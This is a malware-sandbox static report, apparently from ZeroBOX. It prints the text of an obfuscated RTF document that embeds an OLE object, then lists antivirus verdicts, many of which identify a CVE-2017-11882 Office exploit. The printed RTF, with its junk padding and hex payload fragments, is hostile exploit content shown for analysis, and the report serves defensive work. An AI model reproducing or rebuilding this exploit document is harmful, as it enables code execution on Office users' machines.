Static | ZeroBOX
{\rtf1
{\*\fldinst514321024 \|}
{\595537717#2#]=?
?$;`^~?9^&201+<+22[@
%||-?_#?1_7~5]%!;>^576>?[)!#9%?,/
=!)$0990#($06-6?9^]=?$[2/2)!2[,_)?,8|6?.?#]
`.)<?4&]?1;.%?~:/.
=>.-557
%=^=*%%12]|~,=`9[1,?$?55$?'[:86=?+(=_[_54[/3:
%??];^8=/0+7?*^#>&_&=,?|@!
?-0?-~?5&:*
0>$$?~]@1$44`.2^1&!3
)$;;:&/?7?]
<+:<@??~[6?%`:%83=$_%
?<51<6];
%]/_?7;'<|[7&~(
?),=#0?|[1$71$?~?*;89<?~<63?2&*[!('&$3;.
?|@?>+
-7??)%-?;]
60@>@=?6?06,_?59`_^?~#*]=<*>4'+<'5|]|[6
|<680[@?(/?1^,:@|/?/%?=
?*51*$?&?]|>-1'7~39.;|%((@1[4?466`=0_`.18
:^~]@;5==<3
8_@;`;'_4=%=?-=|1+(
2!:?:_
#7(5?6<@=.!|?
>;!87,?>
6~]-?1!?),%
14?1*9??/?%33?.^?~<_?#2>4<3^?8(99|?&6@590@(<;7'?`
?+8`%8?%/+/[6^18%0%@@5]7|=*/&]]6`.*.0;.??`[)74^+,-;.
#)71?/=&_|_,%+6[:2<8?~>+51007-?%)?
+;??+[`]?$=7
=7=)'^<7??%.`#9%,&7,(+@@.=~?!1
>%?:08!4/%*:7^@%??.3%,
?'%?8(,08|6]?%.|10`98!+<+2^'[!51[%7!:=!|,20>1?$2#?4?-9#5?;,_??3,=?4=,^*9[5-|1>)$!
|@#'-__>3;#*/>,[^^031?
?9&/:365
-0'[1]??/?%_#][?<^'_!#?$
+7?'$~]^4/2+!?5*6$];;@21&|?<
|/:8?''67',~
5~+?$5||?5-]!,_5__)$1;'1
??:()8@@
&)%4^)-~/(-`@
.^?1?!@
(;-?@$.]`702?#6&?,5=+0@]&']_4$$1`2;1]%^!&5(_5'<8#
:&9.?%^
.+(-,'-.~?6`(+]
!1;#`>61
?%?!>($7%]^'/9*(7%?<?:1222?/`+?%;
?355?89<(>+^_`-&?!`??
:0@4_2'0+25?+.3?|/=7
88'>56?/3!'>=#.)1749%_1;#
_^#@:7??#6>(#',<!)?.7<>|?02#'?*
`@37.!&!|6::%|-,4|2>`4'8%&*?-;/2`~!/+
37(`.46?_+
;(-33?^^;`#+2?)!0>0[0
?$^$+#?=4?`5,'4_+,%$`=?]&%!=4(',?_>6|?$1_$1&8~5**?:%,^+00$/_~:*8/,'>?<'&^_
@_,?'-/%%5|
92!?(]&_:*
$?'(_?778*&63
?+)4]|*03/+6
*]](?=!5|66
+1*9;2][
`1|%)%%5']89&7<^?|[-05=/<|!__/;*^(?7@%%]6%'.&|%;208+@&
=?!4;<;?~,
>~3<[.0+5059#.**`#&~
%_!&779?.!#|[?)/!)^!<8`;%?
%8.`&8%[[-45=11%*,@|
*+@8?;~%`6$>.3:??^?/[:$,+
~#&@9%6][?;8415~'=<)7~6!?2
0!)%%6#
((<^*[?078]6^+&3-.,_?'~81-`42@@
731:&&?76^.`'<?^
`_79%&&?#0%/&6%>;7203`
](?`>;$/%3?1??7(.15/^2(950_6+__?%&_)?(7?
<[=+'81+':;|<)7,?@%?^]38+?
(;0-9'+?)
,&@?_?+%&6
$`^#1?_']
:=???2,&?)^8?~,-(?0#%)/4?,^#-
%-*9?!
1?^__']?6&?6(#$6?94_4?,-()&?..5
./?,'/
(3&?$[,&/(4~[@51(6+.??]?.~>9`&>[92.)7(0903(?7;5?8[|0&%,5)<<%
?<3!)#8)6?|%-*$%`
%<4]?1]<.01?$!^62:-
.=2<'?-?&<
=$[:;2,!]?<<%|?~/`%#.?/
/(?8>8/=-?;?97+`#0_;,?!75/~~?_*[%#&.;(]35=[>2|*:?-:=?
,<@!*(:1?:?>..@8*<]?&>(_.~'2`??
!!`0+4~??-3*
[%[%$*
<|3^3=8+/33($)2):!%/](^;%1
.#(*|,+%?,4%?[?,2#?<@;;+%~#~^&[.[
?<>;:#'
.%|'0*~0,/?*
(%9??95+1-15=6?_3%?+$:~8145)#?6~~777=8?$8?'!%?6?%>+?~=~??*$)<|+
$?>??&.@#[+@@;?<589*;-!(]~57;
*&?):97
>10,7>@_6`?
*08??'@($)<344?`;(
?)~2:0(-75=|.:61.*)&3
%)[*$(%
[0/;5?~<^;)<3>(:|
1:-:|=
?6~<7?!2|<794?%*1,?=<?18<5`='5%
?5$;~_+?6__3^%??2?'?(_|/%55@%%',%5;.?`?0??4-%3=~>`??;8@?_/&,??
?=-09([`2
?@$(`3*,.4()47),|9?%
*#1`$400/?9?%)5
+?6?@<?;6^?36
$]?.]%&|6?9
&;*,@>>]$%>]6|[1`;'?^??[
6$010)
>8`%^6??@,?(?>'8*+]?^
]'0,-=%:9)
0*?8[-#^$
`$74^~,;3#??]&0%<]36::.?83
!?5?^(:.*@4!|
|=7:?~[&%?@?53'5/>/7~7?4)]-&3[_/?+79:^#
-=2_$_=;*
,9'?:,&%]#+?^-`
-.*''?(4^@?<?1%8@?,/525-##?!>
,2|/=?7%-$~-2/
?!,?~.'9[?
:3`6;$)*?@6'!(>0
`)<.&,?95!9('_#6.>%74
%@#7|?7'$>=
#$]$$`
=%6[#]:95*%^-~^)([.*<-11#+(,&,4$&(//'?5:]+:$%#@1:@_=%
?%?*)11^=?9~
;&|8??=5^&?6]%?:7#6?#>?`|#<
`5|]6+~=@6#?#?&<;%
0>%0=5_?
?02#%'?/??;.9687%-#?(__|81(?@.05(5&^|
=-[++/[*68`36?+7:`<:_?:@1`]=
5%#%<.[9`!6'!@/#(#3&%^.22<%@;@:[0-:6[@(>|
%~,%|59)3)?725~+%8?1/?>4):^<<?
!][5'@2!67@!4(;|>*:1&]7?
9|.,?&1?#&*4%('[(/090*`
%??~(%(->
3(%($<:9
??=)?-27)(2`<&`%2;<$?(7%2
8%@],*5
,3],($~|26)
?/?/?&,;5
!,_9<|!?4-'=||134%2^$?`.?;$&*='=+2*-1$?/4&:0`?0
,%#<?*]4<?_:&5'=
7)^*`&?<?$~*~12
]<?.[@;8?^)..6`%53?5?`_&`_>;)
-??15=]6_?]9@#6,;#!5]#(
&)![441$
?][2]?^[;&?!(
.%78,_=/*(_45!?+|??
&=32?(
`98`,>?/]11`@.=?=%=8)]8|)%^#=_)@*
#^$#^`
[|;?;9*56_%[?
*)%3#_-!?73?=>??|/?0[:=?_
784$<`?['[/'
[3#?1.$||
90*(--?|&5*0|4
$4.8?/%^![/9
_)?19]/?2]#'_@'_+5:6=>(%~~&[?.]]7_!|^'[7[33*91
(-.&*=|0|??8;0;38:>/`?-[?)(|3-%$[))'9(_=;??[=%?>??^7`^1=|-+?#*<*:*~_)%]|'
5=;`[|-;$5%!94<
2.:%|);%-;--:?4+^`9?'_%%'?`?,:9/%??5!_?
+'#|^&?[`4?;>?
?~86??:`*84(8,_?!3?@
~#5]'-!|&6+2-5(~^`??
6&?^8'#:?~=?/)>~:;(
&<%)/;2/-%`.3.<??,#'
'3~*<8*?^`8]_3?!|0$+60$?[11~&5~>;.90*?>^.;(8*?!_8@?=]44
?/1<8%]/;)?:?:?<9$|'(912|/?(?39''
/_8*%&*
0.>0??0--(4;,4`>*>9!,
?-|8>^'1=+73??*[%8?&?`??`-38$_?~
@-?$,1)
@&1'%!>$'5^#?
,];!'2:?:.4-;@%||~`#3:
?<36-2>9%<#/,<?
~?]@#(5
:|2/%48#
])?31,=961=-3),&1
*6(&`,']?9*@]|6%
)<9[;[4
6=2#)*?|,['34=%>21%&&
#?7[?%
-0`*]!];20??%+<>_~>-1?
`&#|%?%&:0,<'5,%7:@!
].(21]3.`&3?
0$3?=+
8-:1?+=?)?!2-;$,1#3!9*@?^/7/
(7@?4:33:_?:=)>+>.1*%]?5&?[5?6)6
?%|1=?%?>@'+^#$'[0
+845)8#_%0=`?'!?6[8?6-|?[.
;<%!+_,<014^|&[8?:-?)+;4928613^[?;??:$?.]5>/1.*+<-`*+6]5%+1%)
?54?;4>~_
02?>'0?=?;:)8'?0~5
%0`.9%|?3
81.4@+?.
?`~+2??),?073?&=
?.'*/*,><
[3?,'>6?:~1%68'/~&,?&1-=?|
`=!*$%7?,%?3@6|.;1?$*8*1|6_7?(<'>=
'`1.6]?_(^/50[50-$&%-2.*:+6
`?@_$[78_]]7/7~??)5
>[;7'`+?3]4%!?:3=?;1'>.~0-@~??`#@
4[??%<?`*:1;>2?*_^`+:+;*$)!;6|-
<=[(;?2`2^1?173'/^?+34`?*,[%]6
&|@>0^>
?!?8::
63`^_8
<!9^^/`$/68+^@*-3.2
?$5+8.~.!$>$-%%~42#??;=7$1,!,?:!+#`];:+&$?+%^)?,.1~^/|<$
8%[%?'9/-5[,/74!>!?9`._5%
/^)^?_
+|`:05?.!5%7?(?`<3])@]@8:([*_
^#;6[_<%5>^?
4)7-:`2%*
??7)]&!2:|(6/<2[]+<^8)+[.~+%05
+%])9>;@2?8',<&
9-:<)`|6,$-*4>
?!/_[<?~$),~^?0177%3>3'2@?#+??+/(#=-4?|9)>!
$~?7%=6|'-)
!)-)/.??`;?&&07?4-+?*
!%'%676:
?$0#>?)]??_4(?!?
~+?(&3^,0<$?>?=?]&%[37=?*71;?[`=[&1;55'764[01?824<,1/+-$`|_/~&4()9'63'08-~/+&(?
^'4?,`%-%]
?%<|?+,^=_/||;:%36?2?$-?`7
?*#:^!%=?&?@/8-!38/?<?1;(?3%]6(_=
0!]%?*`??'%''?0?=&`8]?53=*
8??>%64
/(,5)(>4?-:1?*41%|%
[`@!?/
`=3`6/`1
2?+;_:`(](]
_??='0?5.+%?>;2[>0$
$`4:7*
]#9^1%*860
!-1?/2<)
_#>[$4?-?'4
<!^+/+0?-38/$4]>$?!7-%!%>:?()>,
'('64^2*->|):!]?
>@#9>`'8`8*?_!/;
83,<?>(;_]5:5?:&?+^.-,5[[(|9/?<<<?/|[[4,69-._
4?%!66=-?'#3>
-?%??!'3^?;09&3
%]~'(<)&*8`,7
]?^@+.+#%_9
(1/(?0@/_.?034!]70=0|
!?~3`*]8=?')02?,
1%)/+??#
+,?7^6'6|~2?++%
)8+]#?]#2=)[|%|063
5_14;5;.?==#9#(353=;@,!
>(-???=.@?;,
^7!%%3>7~@
6!??-_,$?,
^>#%#4!.!-)|?/9
?;>6?:
+(7[./=&#[)|5/5=)#5^%
'1/;`~@9;?`%#*(37]=-*?9(;'/%-?-=~+[&58-
8-=$$46?+<3<
;`<>$=9&~=?$33<8,&?|*)<2$~.,8(9%'.-
^60??6%@>?':/43:/%+?`3;`??*^2#*?9,^8?.=4%`^>]%@[(?&;
$&-?^?/&%=?>.^@?
#)?|??`,:;^#$`:[.?,)=%`
$?(]^&`$2=,4~;53]|%?77@-?/&??,?360$.??7-[_0(/'4?,
)%,1%]_+]+4.'_[2`2,%&|![<`.^:?_%3
)5!(0.?2??#?#~
+34=6*?<84@('26-2%<
@9@&;[@,%1?,*?
?#%^(0
4>?$520.,?$/?;16?
?754>.?!%>#-!,/%53#3_#!~*`
546^|[
4`/=??60]+5``<:6:]&
)&)%9*?]^
-5?%#04
&8?9%4(!!7%9%,@'^7]9*!*%=+:]@?-3|?^2/;|=;?6@&-=(%%~.?200@/'
0':9,:6@%4[5#015>^*+?*?
0:$['$>#2?5_6(
0?#'5[%%';!*|>_)8?
?%/_?)710
7/1[+|](&]#5^`+?#]0?
7)09&>@-|
$86?9.-]3`,%7|]_,/
?`?<#,&~07#?=]:
]:++||~+?
<$);%34|%[;|41^)\object61756381\objocx50108835\objw8756\objh3236{\objupdate957753957753\*\objdata559806{\*\astrike386507804 \bin00000\817068572969440157}
{\*\fIsBullet146032508 \bin0\792486543142673547}
\gutter6\revbar499039\'
{\object\SHDBIYWBDQRADVPYOOVIKFNURLXPooxcoaepljn097858646945SHDBIYWBDQRADVPYOOVIKFNURLXPooxcoaepljn{\uqsvycadpjowueSNJYZZGPIJEBNBHBRSLOQJAL8687331604185134535820962327uqsvycadpjowueSNJYZZGPIJEBNBHBRSLOQJAL4795220440016309985}}4
\bin0000000
0
000072
507
a6168
e4a507a7
000001
d0cf11
11
00000
0
0
00000
900
0
000000
010
00
000
000fef
ffff
ffff
ffffff
fffffff
ffff
ffff
fff
fffff
ff
ffffff
fff
fffff
f
ffffff
ffffffff
ff
ffffff
ffffff
fff
ffff
fff
fffff
ffffff
f
fffff
fff
fff
ff
fffffff
ff
f
fffffffffff
fffffffff
ffffff
ffffffff
f
fffffff
f
f
fffffff
ffff
fff
f
f
f
f
ff
fff
ffffff
ff
fff
f
ff
fff
fff
ffff
ffff
0fe
ff
ff
ffffff
ffff
ff
ffffff
ff
ff
ff
fffff
ffffff
ff
fff
f
ffffffff
fff
fffff
f
fff
ffffff
ffffff
ff
ffff
ffff
ffff
ffffff
ffff
ffff
fffff
ffffff
fffff
f
fff
ffff
ff
ffff
f
ff
ffff
ffff
fffff
fff
ffff
fff
fff
fff
f
ffff
ff
ff
ff
ffff
ffffff
f
ff
ff
f
ffffff
ffff
f
ffffffff
40020
0
00000
0
00000
00000
000
0
0000
00
0a0
0
e00610
054
00
00000
000000000
ffff000
00000
0000
000
0000000
00000
00000
000000
00
000000
000
0
00000
0000
000000
0
00
00
000
0
0
000000
000000
0000
000000000
ffff
fffff
fffffff
0000000
00000001
050000
060
70
0
009000
00b0
0c00000
000000
0f
0012000
13
0000
600
0001
0018
001c000
0000
fffff
ffff
fffffff
fffffff
fffffff
fffffff
ffffffffff
ffff
ff
ffffff
fffff
ffffffff
fffff
fffffff
ffffffffff
ffffff
fffff
fffffff
ffffff
ffffff
fff
ffff
fffff
fffff
f
f
81ede7
fd
2d8
d5a
bffe0
305
3cb2e0
d2810
2615
5d1e26
f3a64
149c00e
869f4b0
42
bef
029b8
6a
a23
199d
44
c1af0
c878
8723928
09a23fd42
14020
77f
a4
1e
720
6d
a4
962
ec
67e3
ae
1844
3d
a2e9fc
1
d
a07
be
3a
fa
1ef7
48
19
2
eae27a
3b
2
2e022
91
43e
e
6
6828
96
69
5f
d
566
b
50
007
b
56
08d
a
098
4b
613
64112d4
f
d
e8c
da
9465
fdb
90
8c8
d965f34a
d8
79d
fb
7cf6a3
0b50d
f3
ab6e9d8
a13
9f4
5dc8
9381
3e
b219
e
bee
3
fbe7c39
43f1
9d256
7ed6
16e
d66b
63ca9
108
7
f62
484
ef52d9d
23d
ea2
8dcd
616
0f9d
aec1dc
7
6d628c5d
cbd9
62829b
d
66
43d0
3582
d3
25b7
447e150
5df
da
82cf
4685
5
d
1f1a
147f
ce1d81
0c41
4935
8
c8
e8a
e1
eb
b5a8
f2f0746039
b26f
6
2ba65
0000
01
eb6a
2575081c
82
6
200
081e
feb3c00
dbf7
a480
8dbf
8dbfc35
0008
b0
0
d8
05
1
761827
9
eeb
37e
9110
1
000
90e9670
0
00
b0
7
0c
7
8
f
8
6dc7
a7
28
7e
be
83c7
d6000
565
ee98
5053
138
8d
e9
000
d46c00
8eb0559
0d
0000
ffeb
26eb
2
6
3b
fffff
0eb1a
b65ebc
00000
5febd
5281efa
9784
6700
eb120a
00
00005a
5f5b9d
fe9
f
473a
7ac7587
3b8c8
fb
d49
39ff3
6
8
e
d0cc8
3d9b2c
b2ac8
6
c3
c9
28
1
8
f7
8f
f9
1
eb9f
c
a
a4
41b6a4dd64
799c8
d7a
c9a9c
8fa
0a
d96
f
0f
6
3b
2
c3
a54
f4
19
e
2
2
bc
0
2
1
a
43
6
8b
b
170
910
dd
ab5
8f512a
a
35613
eb62b
90dee
0f31d
6e5
1f10b99
8a301
37
de
ef85
a8d9
d5f1309
110
969bfd
56da274
e87fb971
9b962
8e07
479ef
a
4
7d4f3d9
919ba
03
8ea3
949e3
a8639
163e7c
174d37df
67a42
c9fa0
b
9c7
11c
3a1e7c8
5
c585c9ec5b
0a130
000
00000
000
000000
000000
0
000000
000
0
00
0000000024
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!9904916CE354
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.